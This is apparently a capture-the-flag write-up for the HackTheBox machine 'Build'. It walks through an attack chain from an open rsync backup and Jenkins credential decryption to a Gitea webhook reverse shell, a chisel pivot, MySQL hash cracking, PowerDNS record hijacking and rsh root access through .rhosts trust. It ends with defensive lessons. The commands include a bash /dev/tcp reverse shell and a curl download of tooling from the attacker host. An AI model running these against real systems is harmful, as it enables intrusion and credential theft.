HTB: Build Writeup

Build - HackTheBox Writeup

Machine Information

AttributeDetails
NameBuild
OSLinux
DifficultyEasy
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Build is an easy-rated Linux machine that demonstrates the risks of exposed backups and misconfigured services in containerized environments. The attack chain begins with unauthenticated access to an rsync backup share containing encrypted Jenkins credentials. After decrypting the password using Jenkins master keys, attackers gain access to Gitea/GitLab and exploit a configured webhook to execute arbitrary code in a Docker container. From the container, misconfigured MySQL and PowerDNS services become accessible, allowing DNS hijacking via record modification. Finally, leveraging the mounted .rhosts file and RSH trust-based authentication, the attacker achieves root access on the host machine.

TL;DR: Unauthenticated rsync → Jenkins credential decryption → Gitea webhook RCE → Docker container shell → MySQL/PowerDNS enumeration → DNS hijacking → RSH root access via .rhosts abuse.


Reconnaissance

Port Scanning

Terminal window
# Initial full-port scan
nmap -Pn -p- --min-rate=1000 -T4 10.129.234.60
# Detailed service enumeration
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.234.60 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -Pn -p$ports -sC -sV 10.129.234.60

Results:

PortServiceVersion
22SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.11
53DNSPowerDNS
512RSH (exec)Berkeley r-commands suite
513RSH (login)Berkeley r-commands suite
514RSH (shell)Berkeley r-commands suite
873rsyncrsync daemon
3000HTTPGolang net/http (Gitea)
3306MySQLFiltered (reachable from container)
8081UnknownFiltered

Service Enumeration

Gitea (Port 3000): The web application reveals a public repository named Dev created by user buildadm. The repository contains a Jenkinsfile that suggests a CI/CD pipeline configured to execute on repository changes.

rsync (Port 873): Unauthenticated access is available to the backups share:

Terminal window
rsync -av --list-only rsync://10.129.234.60/
# Output: backups share available
rsync -av --list-only rsync://10.129.234.60/backups
# Output: jenkins.tar.gz (376MB)
# Download the backup
rsync -av rsync://10.129.234.60/backups/jenkins.tar.gz .

Jenkins Configuration Archive: Extracting jenkins.tar.gz reveals Jenkins configuration files including encrypted credentials.

Vulnerability Assessment

  1. Unauthenticated rsync access - Backup share publicly readable
  2. Weak Jenkins secret storage - Encrypted credentials recoverable with configuration files
  3. Gitea webhook to internal Jenkins - Allows pipeline manipulation for RCE
  4. Misconfigured MySQL - Root account with no password
  5. Docker container with host mounts - .rhosts file accessible from container
  6. RSH trust-based authentication - .rhosts entries allow passwordless access
  7. DNS hijacking via PowerDNS API - Unprotected DNS record modification

Initial Foothold

Exploitation Path

Step 1: Extract and Decrypt Jenkins Credentials

Terminal window
# Extract the jenkins.tar.gz archive
tar -xzf jenkins.tar.gz
# Locate encrypted password in Jenkins config
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" jenkins_configuration/
# Output: ./jobs/build/config.xml contains encrypted password
# Verify master key and secret files exist
ls jenkins_configuration/secrets/master.key
ls jenkins_configuration/secrets/hudson.util.Secret
# Use pwn_jenkins to decrypt the password
python3 decrypt.py jenkins_configuration/secrets/master.key \
jenkins_configuration/secrets/hudson.util.Secret \
jenkins_configuration/jobs/build/config.xml
# Decrypted password: Git1234!

Step 2: Access Gitea with Decrypted Credentials

Login to Gitea at http://10.129.234.60:3000/
Username: buildadm
Email: admin@build.vl
Password: Git1234!

After logging in, navigate to the Dev repository and verify the webhook is configured to point to an internal Jenkins instance.

Step 3: Modify Jenkinsfile and Trigger RCE

Edit the Jenkinsfile in the Dev repository by adding a reverse shell to the pipeline:

pipeline {
agent any
stages {
stage('Do nothing') {
steps {
sh '''
bash -c 'bash -i >& /dev/tcp/10.10.14.67/1337 0>&1'
'''
}
}
}
}

Commit the changes. The webhook triggers Jenkins to execute the pipeline within 1-2 minutes.

Step 4: Catch the Reverse Shell

Terminal window
nc -lnvp 1337
# listening on [any] 1337 ...
# connect to [10.10.14.67] from (UNKNOWN) [10.129.234.60] 46280
# bash: cannot set terminal process group (7): Inappropriate ioctl for device
# bash: no job control in this shell
# root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main#

Step 5: Retrieve User Flag

Terminal window
cat /root/user.txt
# <user_flag_content>

Privilege Escalation

Understanding the Environment

Terminal window
# Identify container details
hostname -I
# 172.18.0.3
# Check mounted filesystems
mount | grep -E "(dev|root)"
# /dev/mapper/ubuntu--vg-ubuntu--lv mounted at /root and other locations

The container has the host’s filesystem mounted at /root, indicating privileged container access.

Exploiting .rhosts for RSH Access

Step 1: Examine .rhosts File

Terminal window
cat /root/.rhosts
# admin.build.vl +
# intern.build.vl +

The .rhosts file permits passwordless RSH access from hosts admin.build.vl and intern.build.vl to any user on the system (the + wildcard).

Step 2: Establish SOCKS Proxy

Download and use chisel to create a reverse SOCKS proxy for accessing internal services:

Terminal window
# On attacker machine: start chisel server
chisel server --reverse --port 8080
# On container: download and connect chisel
curl 10.10.14.67/chisel -o /tmp/chisel
chmod +x /tmp/chisel
./chisel client 10.10.14.67:8080 R:socks &

Step 3: Access MySQL via SOCKS Proxy

Terminal window
# Connect to MySQL on 172.18.0.1 (PowerDNS host) via proxy
proxychains4 mysql -h 172.18.0.1 -u root --skip-password
# Enumerate databases
show databases;
# powerdnsadmin database contains user accounts and DNS records
use powerdnsadmin;
select * from user;
# Retrieve admin user hash: $2b$12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq

Step 4: Crack Admin Password

Terminal window
# Save hash to file
echo '$2b$12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq' > admin_hash
# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt admin_hash
# Cracked password: winston

Step 5: Modify DNS Records via PowerDNS

Using the cracked credentials (admin:winston), log into PowerDNS Admin and modify the A record for intern.build.vl:

  • Original: 172.18.0.1
  • Modified to: 10.10.14.67 (attacker IP)

Step 6: Verify DNS Hijacking

Terminal window
dig intern.build.vl @10.129.234.60
# ANSWER SECTION:
# intern.build.vl. 60 IN A 10.10.14.67

Step 7: Achieve Root via RSH

Terminal window
# Use rsh to connect as root from the hijacked intern.build.vl host
rsh -v root@build.vl
# Trying 10.129.234.60 port 513...
# Connected.
# Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-136-generic x86_64)
# root@build:~#

Step 8: Retrieve Root Flag

Terminal window
cat /root/root.txt
# <root_flag_content>

Attack Chain Summary

Unauthenticated rsync access
Download jenkins.tar.gz backup
Decrypt Jenkins credentials (Git1234!)
Login to Gitea as buildadm
Modify Jenkinsfile with reverse shell
Webhook triggers pipeline execution
RCE as root in Docker container
Establish SOCKS proxy to internal network
Access MySQL on PowerDNS host
Extract and crack admin password hash (winston)
Modify DNS record: intern.build.vl → attacker IP
RSH to root@build.vl using .rhosts trust
Root access on host machine

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
rsyncAccessing and downloading backup shares
tarExtracting Jenkins configuration archive
grepLocating encrypted credentials in configs
pwn_jenkinsDecrypting Jenkins passwords with master keys
chiselSOCKS proxy for internal network access
proxychainsRouting traffic through SOCKS proxy
mysqlQuerying PowerDNS database
johnCracking bcrypt password hashes
digDNS record verification
rshRemote shell access via RSH protocol
ncCatching reverse shell connections

Key Learnings

Techniques Practiced

  • Jenkins credential extraction - Understanding Jenkins master key decryption for obtaining credentials
  • Gitea/GitLab webhook exploitation - Leveraging webhooks for arbitrary code execution in CI/CD pipelines
  • Docker container escape - Exploiting mounted filesystems to access host resources
  • Network pivoting - Using SOCKS proxies to access filtered internal services
  • DNS hijacking - Modifying DNS records via PowerDNS API to redirect traffic
  • RSH trust-based authentication - Exploiting .rhosts files for passwordless access
  • Bcrypt password cracking - Using john to crack modern bcrypt hashes
  • DevOps security - Understanding risks in CI/CD and containerized infrastructure

Lessons Learned

  1. Backup security is critical - Unauthenticated rsync shares expose sensitive configuration and credentials that should never be accessible without authentication.

  2. Jenkins secrets management - Master keys and encrypted passwords must be treated as highly sensitive and should never be included in backup archives accessible to untrusted users.

  3. Webhook validation - CI/CD webhooks should validate commit signatures and sources to prevent arbitrary pipeline execution.

  4. Container isolation - Containers should not have root-level access to host filesystems; mount points should be restricted and validated.

  5. Database hardening - MySQL root accounts should always have strong passwords; passwordless root access is a critical misconfiguration.

  6. DNS security - PowerDNS and similar DNS management systems should enforce strong authentication and audit all record modifications.

  7. Legacy service risks - RSH and .rhosts authentication are legacy protocols with severe security implications in modern environments; SSH should be the only remote access mechanism.

  8. Defense in depth - Multiple weaknesses (rsync + Jenkins + webhook + Docker mount + MySQL + DNS + RSH) compound to create an exploitable chain; each layer should be independently secured.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>